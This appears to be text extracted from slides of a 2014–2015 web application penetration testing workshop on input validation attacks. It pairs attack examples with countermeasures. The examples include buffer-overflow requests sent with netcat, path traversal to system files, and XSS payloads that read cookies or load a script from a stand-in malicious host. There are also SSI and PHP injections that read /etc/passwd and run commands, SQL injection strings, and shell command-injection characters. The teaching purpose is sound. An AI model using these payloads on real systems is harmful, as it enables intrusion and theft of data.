  • 8. COMMON INPUTVALIDATION ATTACKS  Buffer Overflow  Canonicalization  Putting the Dot toWork  NavigatingWithout Directory Listings  Script attacks  Cross-Site Scripting (XSS)  Embedded Sripts  Cookies and Predefined Headers  Boundary Checking  Manipulating theApplication  Search Engines  SQL Injection and Datastore Attacks  Command Execution Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 9. BUFFER OVERFLOW  Create payload for attack:  Perl –e ‘print “a” x 50’  Use Perl, netcat  wrap the Perl line in back ticks and replace the argument  echo –e "GET /login.php?user=`perl –e 'print "a" x 500'`nHTTP/1.0nn" | nc –vv www.victim.com 80  For HTTPS  curl https://www.victim.com/login.php?user=`perl –e 'print "a" x 500'` Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 10. NTOMAX  Script Format  host:192.168.0.1,22,100,500,4000,250,0,2,true,true,true,false  lc:GET /login.php?user=* HTTP/1.0  Host: IP, port, min, max, timeout, delay, pause, retnum, reopen, norecv, verbose, trial  Loop command: each instance of an asterisk replaces with a string of 400*‘N’  ntomax /s < script.txt > results.txt Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 11. DEEP ANALYSIS OF FEATURES  Additional host parameters:  timeout - ms to wait for socket response - default = 0  delay - ms to wait before sending commands - default = 250  pause - ms to wait before receiving - default = 0  retnum - number of LF/CR's to end buffer - default is one  reopen -T/F reopen connection before each command  norecv -T/F no receive after initial connect - default is off  verbose -T/F verbose output - off by default  trial -T/F display buffer w/o sending Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 12. CANONICALIZATION (DOT-DOT-SLASH)  Attack vector:  access system files outside of theWeb document root  When attack happen?  Parse file from server  Using template files  How escape document root directory?  ../../../../../../../../../boot.ini  salvation?  limit the types of files that it is supposed to view Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 13. PUTTINGTHE DOTTO WORK  Suppose an application is parsing file contents  what happens if we rename the file to something that we know does not exist?  full installation path of the application used in directory traversal attacks  Null byte character  /servlet/webacc?user.html=gor-gor  File does not exist: c:Novelljavaservletscomnovellwebaccesstemplates/gor- gor/login.htt  /servlet/webacc?user.html=../../../../../../../boot.ini%00  %00 ~ URL encoded null byte character Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 14. NAVIGATINGWITHOUT DIRECTORY LISTINGS  explore the terrain without a map!  The first step is to find out where the actual directory root begins  enumerating files on IIS  By default;Topmost directory is inetpub  Adding directory traversal to /inetpub/wwwroot/default.asp  ../../../../../../../../../../??  Find other directories on server by failure and success Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 15. STEPSTO ENUMERATING  Examine error codes: 404/ 403  Find the root: drive letter, root  Move down theWeb document root  Find common directories: /tmp, /temp, /backups, /downloads  Try to access directory names: use listed directory contents  For improving success in directory traversal attacks you should know about configurations, directories Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 16. COUNTERMEASURES & MITIGATIONS  Remove all dots from user-input, parameters  Catch other representations of dots (0x2e) from parser engine  Remove path information using regular expression  Secure file system permissions, ACL  Limit server access to file, folders behind web root directory  Place configuration files behind document root directory Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 17. SCRIPT ATTACKS  include any HTML-formatted strings to an application that subsequently renders those tags 1. User entering <script> tags into a form field 2. user-submitted contents of that field are redisplayed 3. Interpreting tag as JavaScript directive rather than literal value Two prerequisites: the application must accept user input the application must redisplay the user input Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 18. COUNTERMEASURE  Handling angle brackets using HTML encoded values  User searches for <i>test</i> in search bar  At vulnerable scenario:  <b><i>test</i></b>  At secure scenario:  <b>&lt;i&gt;test&lt;/i&gt;</b> Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 19. XSS (CROSS SITE SCRIPTING)  place malicious code, usually JavaScript, in locations where other users see it  Common scenarios: Steals cookies: allow the attacker to impersonate the victim social engineering attack: trick the victim into divulging his or her password  Test for XSS:  <script>document.write(document.cookie)</script>  <script>alert('Salut!')</script>  <script src="http://www.malicious-host.foo/badscript.js"></script> Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 20. EMBEDDED SCRIPTS  Server-side scripts target application itself rather users  Types of embedded scripting attacks:  SSI directives  PHP, ASP brackets  SQL queries  Affects of attacks:  <%= date() %>  <!—include virtual=“global.asa”   <!—include file=“/etc/passwd”   <!—exec cmd=“/sbin/ifconfig -a”   <% java.util.date today=new java.util.date(); out.println(today); %>  <? Include ‘/etc/p/asswd’ ?>  <? Passthru(“id”); ?> Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 21. COUNTERMEASURE  turn all angle brackets into their HTML-encoded equivalents  < ~ &lt;  > ~ &gt;  &lt;script&gt;  Limit input fields to the minimum possible  Inclusive regular expression than exclusive  <scrscriptipt>: bypass for replacing with null regex  <scr%69pt>  <ScRiPt>  <a href=“javascript:code”></a>  Check for presence of a positive is better rather than absence of a negatives Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 22. BOUNDARY CHECKING  Generate informational errors by swapping out the boundaries  errors they generate can reveal useful information about the application or the server; but you can’t get command execution  Checklist for vulnerability:  Boolean  String  Numeric Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 23. MANIPULATINGTHE APPLICATION  Special directives  Debug=1: reveals more informational errors about back-end DBMS  %3f.jsp: directory listing in apache tomcat 3.2.x, Jrun  ?openDocument ~ ?editDocument: Lotus domino servers  Htsearch CGI: -c command-line argument reading configuration file Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 24. SQL INJECTION AND DATA STORE ATTACKS  Or+1=1  Single quote, tick mark, apostrophes  Error might you see during injection test:  You have an error in your SQL syntax  many SQL injection tests will reveal errors in files that do not access databases Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 25. COMMAND EXECUTION  Run arbitrary commands on server  Types of bypassing execution flow on shell  %0a ~ new line character: analyze.sh?%0a/bin/ls%0a  Check for arbitrary variables can passed to server: analyze.sh?-h  %7c ~ pipe: chain UNIX commands on shell  %3b ~ semicolon: separate commands on single command line  %26 ~ ampersand: delimiter for arguments on the URL  Know your environment in command execution attacks Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 26. COUNTERMEASURES  Server-Side InputValidation  Character Encoding  Regular Expressions  Strong DataTyping  Proper Error Handling  Require Authentication  Use Least-Privilege Access Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015
  • 27. TOPVECTORS FOR INPUTVALIDATION  Each argument of a GET request  Each argument of a POST request  Forms (e-mail address, home address, name, comments)  Search fields  Cookie values  Browser environment values (User agent, IP address, Operating System, etc.) Web appliation penetration testing worksop - Mohsen ahmadi _ 2014-2015